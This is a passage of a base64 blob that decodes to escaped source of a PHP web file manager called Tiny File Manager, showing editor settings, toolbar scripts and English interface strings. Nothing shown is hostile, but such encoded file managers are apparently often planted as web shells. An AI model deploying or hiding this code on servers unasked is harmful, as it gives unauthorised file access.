gICAgIFwic2pzXCI6IFwiU0pTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2xpbVwiOiBcIlNsaW1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbWFydHlcIjogXCJTbWFydHlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbmlwcGV0c1wiOiBcInNuaXBwZXRzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic295X3RlbXBsYXRlXCI6IFwiU295IFRlbXBsYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic3BhY2VcIjogXCJTcGFjZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbFwiOiBcIlNRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbHNlcnZlclwiOiBcIlNRTFNlcnZlclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN0eWx1c1wiOiBcIlN0eWx1c1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN2Z1wiOiBcIlNWR1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN3aWZ0XCI6IFwiU3dpZnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0Y2xcIjogXCJUY2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXJyYWZvcm1cIjogXCJUZXJyYWZvcm1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXhcIjogXCJUZXhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0XCI6IFwiVGV4dFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRleHRpbGVcIjogXCJUZXh0aWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tbFwiOiBcIlRvbWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0c3hcIjogXCJUU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0d2lnXCI6IFwiVHdpZ1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInR5cGVzY3JpcHRcIjogXCJUeXBlc2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmFsYVwiOiBcIlZhbGFcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2YnNjcmlwdFwiOiBcIlZCU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmVsb2NpdHlcIjogXCJWZWxvY2l0eVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInZlcmlsb2dcIjogXCJWZXJpbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmhkbFwiOiBcIlZIRExcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aXN1YWxmb3JjZVwiOiBcIlZpc3VhbGZvcmNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwid29sbG9rXCI6IFwiV29sbG9rXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieG1sXCI6IFwiWE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieHF1ZXJ5XCI6IFwiWFF1ZXJ5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieWFtbFwiOiBcIllBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkamFuZ29cIjogXCJEamFuZ29cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb250U2l6ZVwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDg6IDgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEwOiAxMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTE6IDExLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMjogMTIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEzOiAxMyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTQ6IDE0LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNTogMTUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDE2OiAxNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTc6IDE3LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxODogMTgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIwOiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMjI6IDIyLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyNDogMjQsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDI2OiAyNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMzA6IDMwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmFjZU1vZGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRtb2RlRWwuaHRtbChvcHRpb25Ob2RlKFwiYWNlXC9tb2RlXC9cIiwgX2RhdGEuYWNlTW9kZSkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGlmIChfZGF0YSAmJiBfZGF0YS5hY2VUaGVtZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKFwiYWNlXC90aGVtZVwvXCIsIF9kYXRhLmFjZVRoZW1lLmJyaWdodCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZGFya1RoZW1lID0gb3B0aW9uTm9kZShcImFjZVwvdGhlbWVcL1wiLCBfZGF0YS5hY2VUaGVtZS5kYXJrKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICR0aGVtZUVsLmh0bWwoXCI8b3B0Z3JvdXAgbGFiZWw9XFxcIkJyaWdodFxcXCI+XCIgKyBsaWdodFRoZW1lICsgXCI8XC9vcHRncm91cD48b3B0Z3JvdXAgbGFiZWw9XFxcIkRhcmtcXFwiPlwiICsgZGFya1RoZW1lICsgXCI8XC9vcHRncm91cD5cIik7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmZvbnRTaXplKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZm9udFNpemVFbC5odG1sKG9wdGlvbk5vZGUoXCJcIiwgX2RhdGEuZm9udFNpemUpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAkbW9kZUVsLnZhbChlZGl0b3IuZ2V0U2Vzc2lvbigpLiRtb2RlSWQpO1xuICAgICAgICAgICAgICAgICAgICAkdGhlbWVFbC52YWwoZWRpdG9yLmdldFRoZW1lKCkpO1xuICAgICAgICAgICAgICAgICAgICAkKGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZvbnRTaXplRWwudmFsKDEyKS5jaGFuZ2UoKTtcbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgJChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgcmVuZGVyVGhlbWVNb2RlKCk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuanMtYWNlLXRvb2xiYXJcIikub24oXCJjbGlja1wiLCAnYnV0dG9uJywgZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGNtZFZhbHVlID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1jbWRcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yT3B0aW9uID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1vcHRpb25cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoY21kVmFsdWUgJiYgY21kVmFsdWUgIT0gXCJub25lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhY2VfY29tbWVuZChjbWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlZGl0b3JPcHRpb24gPT0gXCJmdWxsc2NyZWVuXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHZvaWQgMCAhPT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgJiYgbnVsbCA9PT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tc0Z1bGxzY3JlZW5FbGVtZW50ICYmIG51bGwgPT09IGRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tb3pGdWxsU2NyZWVuICYmICFkb2N1bWVudC5tb3pGdWxsU2NyZWVuIHx8IHZvaWQgMCAhPT0gZG9jdW1lbnQud2Via2l0SXNGdWxsU2NyZWVuICYmICFkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4pICYmXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChlZGl0b3IuY29udGFpbmVyLnJlcXVlc3RGdWxsU2NyZWVuID8gZWRpdG9yLmNvbnRhaW5lci5yZXF1ZXN0RnVsbFNjcmVlbigpIDogZWRpdG9yLmNvbnRhaW5lci5tb3pSZXF1ZXN0RnVsbFNjcmVlbiA/IGVkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4oKSA6IGVkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4gPyBlZGl0b3IuY29udGFpbmVyLndlYmtpdFJlcXVlc3RGdWxsU2NyZWVuKEVsZW1lbnQuQUxMT1dfS0VZQk9BUkRfSU5QVVQpIDogZWRpdG9yLmNvbnRhaW5lci5tc1JlcXVlc3RGdWxsc2NyZWVuICYmIGVkaXRvci5jb250YWluZXIubXNSZXF1ZXN0RnVsbHNjcmVlbigpKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbiA9PSBcIndyYXBcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZXQgd3JhcFN0YXR1cyA9IChlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFVzZVdyYXBNb2RlKCkpID8gZmFsc2UgOiB0cnVlO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldFVzZVdyYXBNb2RlKHdyYXBTdGF0dXMpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJChcInNlbGVjdCNqcy1hY2UtbW9kZSwgc2VsZWN0I2pzLWFjZS10aGVtZSwgc2VsZWN0I2pzLWFjZS1mb250U2l6ZVwiKS5vbihcImNoYW5nZVwiLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICBsZXQgc2VsZWN0ZWRWYWx1ZSA9ICQodGhpcykudmFsKCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZWN0aW9uVHlwZSA9ICQodGhpcykuYXR0cihcImRhdGEtdHlwZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gXCJtb2RlXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcInRoZW1lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0VGhlbWUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcImZvbnRTaXplXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0Rm9udFNpemUocGFyc2VJbnQoc2VsZWN0ZWRWYWx1ZSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxkaXYgaWQ9XCJzbmFja2JhclwiPjxcL2Rpdj5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cbjw/cGhwXG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIExhbmd1YWdlIFRyYW5zbGF0aW9uIFN5c3RlbVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dFxuICAgICAqIEByZXR1cm4gc3RyaW5nXG4gICAgICpcL1xuICAgIGZ1bmN0aW9uIGxuZygkdHh0KVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRsYW5nO1xuXG4gICAgICAgICR0clsnZW4nXVsnQXBwTmFtZSddICAgICAgICA9ICdUaW55IEZpbGUgTWFuYWdlcic7XG4gICAgICAgICR0clsnZW4nXVsnQXBwVGl0bGUnXSAgICAgICA9ICdGaWxlIE1hbmFnZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7XG4gICAgICAgICR0clsnZW4nXVsnVXNlcm5hbWUnXSAgICAgICA9ICdVc2VybmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGFzc3dvcmQnXSAgICAgICA9ICdQYXNzd29yZCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9nb3V0J10gICAgICAgICA9ICdTaWduIE91dCc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJztcbiAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgID0gJ0NvcHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NhdmUnXSAgICAgICAgICAgPSAnU2F2ZSc7XG4gICAgICAgICR0clsnZW4nXVsnU2VsZWN0QWxsJ10gICAgICA9ICdTZWxlY3QgYWxsJztcbiAgICAgICAgJHRyWydlbiddWydVblNlbGVjdEFsbCddICAgID0gJ1Vuc2VsZWN0IGFsbCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSddICAgICAgICAgICA9ICdGaWxlJztcbiAgICAgICAgJHRyWydlbiddWydCYWNrJ10gICAgICAgICAgID0gJ0JhY2snO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NpemUnXSAgICAgICAgICAgPSAnU2l6ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW9kaWZpZWQnXSAgICAgICA9ICdNb2RpZmllZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3duZXInXSAgICAgICAgICA9ICdPd25lcic7XG4gICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICA9ICdTZWFyY2gnO1xuICAgICAgICAkdHJbJ2VuJ11bJ05ld0l0ZW0nXSAgICAgICAgPSAnTmV3IEl0ZW0nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciddICAgICAgICAgPSAnRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUmVuYW1lJ10gICAgICAgICA9ICdSZW5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7XG4gICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICA9ICdEaXJlY3QgbGluayc7XG4gICAgICAgICR0clsnZW4nXVsnVXBsb2FkaW5nRmlsZXMnXSA9ICdVcGxvYWQgRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7XG4gICAgICAgICR0clsnZW4nXVsnQ29weWluZyddICAgICAgICA9ICdDb3B5aW5nJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGVOZXdJdGVtJ10gID0gJ0NyZWF0ZSBOZXcgSXRlbSc7XG4gICAgICAgICR0clsnZW4nXVsnTmFtZSddICAgICAgICAgICA9ICdOYW1lJztcbiAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddID0gJ0FkdmFuY2VkIEVkaXRvcic7XG4gICAgICAgICR0clsnZW4nXVsnQWN0aW9ucyddICAgICAgICA9ICdBY3Rpb25zJztcbiAgICAgICAgJHRyWydlbiddWydGb2xkZXIgaXMgZW1wdHknXSA9ICdGb2xkZXIgaXMgZW1wdHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJztcbiAgICAgICAgJHRyWydlbiddWydDYW5jZWwnXSAgICAgICAgID0gJ0NhbmNlbCc7XG4gICAgICAgICR0clsnZW4nXVsnSW52ZXJ0U2VsZWN0aW9uJ10gPSAnSW52ZXJ0IFNlbGVjdGlvbic7XG4gICAgICAgICR0clsnZW4nXVsnRGVzdGluYXRpb25Gb2xkZXInXSAgPSAnRGVzdGluYXRpb24gRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydJdGVtVHlwZSddICAgICAgID0gJ0l0ZW0gVHlwZSc7XG4gICAgICAgICR0clsnZW4nXVsnSXRlbU5hbWUnXSAgICAgICA9ICdJdGVtIE5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7XG4gICAgICAgICR0clsnZW4nXVsnRG93bmxvYWQnXSAgICAgICA9ICdEb3dubG9hZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3BlbiddICAgICAgICAgICA9ICdPcGVuJztcbiAgICAgICAgJHRyWydlbiddWydVblppcCddICAgICAgICAgID0gJ1VuWmlwJztcbiAgICAgICAgJHRyWydlbiddWydVblppcFRvRm9sZGVyJ10gID0gJ1VuWmlwIHRvIGZvbGRlcic7XG4gICAgICAgICR0clsnZW4nXVsnRWRpdCddICAgICAgICAgICA9ICdFZGl0JztcbiAgICAgICAgJHRyWydlbiddWydOb3JtYWxFZGl0b3InXSAgID0gJ05vcm1hbCBFZGl0b3InO1xuICAgICAgICAkdHJbJ2VuJ11bJ0JhY2tVcCddICAgICAgICAgPSAnQmFjayBVcCc7XG4gICAgICAgICR0clsnZW4nXVsnU291cmNlRm9sZGVyJ10gICA9ICdTb3VyY2UgRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlcyddICAgICAgICAgID0gJ0ZpbGVzJztcbiAgICAgICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZSddICAgICAgICAgPSAnQ2hhbmdlJztcbiAgICAgICAgJHRyWydlbiddWydTZXR0aW5ncyddICAgICAgID0gJ1NldHRpbmdzJztcbiAgICAgICAgJHRyWydlbiddWydMYW5ndWFnZSddICAgICAgID0gJ0xhbmd1YWdlJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7XG4gICAgICAgICR0clsnZW4nXVsnU2hvd0hpZGRlbkZpbGVzJ10gPSAnU2hvdyBIaWRkZW4gRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hlbHAnXSAgICAgICAgICAgPSAnSGVscCc7XG4gICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICA9ICdDcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydIZWxwIERvY3VtZW50cyddID0gJ0hlbHAgRG9jdW1lbnRzJztcbiAgICAgICAgJHRyWydlbiddWydSZXBvcnQgSXNzdWUnXSAgID0gJ1JlcG9ydCBJc3N1ZSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnRnVsbFNpemUnXSAgICAgICA9ICdGdWxsIFNpemUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hpZGVDb2x1bW5zJ10gICAgPSAnSGlkZSBQZXJtc1wvT3duZXIgY29sdW1ucyc7XG4gICAgICAgICR0clsnZW4nXVsnWW91IGFyZSBsb2dnZWQgaW4nXSA9ICdZb3UgYXJlIGxvZ2dlZCBpbic7XG4gICAgICAgICR0clsnZW4nXVsnTm90aGluZyBzZWxlY3RlZCddICA9ICdOb3RoaW5nIHNlbGVjdGVkJztcbiAgICAgICAgJHRyWydlbiddWydQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCddICAgID0gJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJztcbiAgICAgICAgJHRyWydlbiddWydSZW5hbWVkIGZyb20nXSAgICAgICA9ICdSZW5hbWVkIGZyb20nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IHVucGFja2VkJ10gPSAnQXJjaGl2ZSBub3QgdW5wYWNrZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IGNyZWF0ZWQnXSA9ICdBcmNoaXZlIG5vdCBjcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydDb3BpZWQgZnJvbSddICAgICAgICA9ICdDb3BpZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddID0gJ1Blcm1pc3Npb25zIGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ3RvJ10gICAgICAgICAgICAgICAgID0gJ3RvJztcbiAgICAgICAgJHRyWydlbiddWydTYXZlZCBTdWNjZXNzZnVsbHknXSA9ICdTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gICAgPSAnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJ10gICAgPSAnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdCBmb2xkZXInXSAgICAgID0gJ1NlbGVjdCBmb2xkZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJ10gICAgPSAnU291cmNlIHBhdGggbm90IGRlZmluZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSddICAgID0gJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGUgYXJjaGl2ZT8nXSAgICA9ICdDcmVhdGUgYXJjaGl2ZT8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSddICAgID0gJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSB1bnBhY2tlZCddICAgPSAnQXJjaGl2ZSB1bnBhY2tlZCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnXSAgPSAnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbSddICA9ICdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG5vdCBmb3VuZCddICAgICA9ICdGaWxlIG5vdCBmb3VuZCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZWQgZnJvbSddICAgICAgICAgPSAnTW92ZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnXSA9ICdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJztcbiAgICAgICAgJHRyWydlbiddWydwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nXSA9ICdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkIFNlYXJjaCddICAgID0gJ0FkdmFuY2VkIFNlYXJjaCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJ10gICAgICAgICAgICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnRklMRSBFWFRFTlNJT04gSVMgTk9UIFNVUFBPUlRFRCddICAgICAgICAgICAgICAgID0gJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyddICAgICAgICAgICAgICA9ICdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nXSAgICAgICAgICAgICA9ICdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/JztcbiAgICAgICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJztcbiAgICAgICAgJHRyWydlbiddWydBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJ10gICAgICAgPSAnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSc7XG4gICAgICAgICR0clsnZW4nXVsnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnXSAgICAgI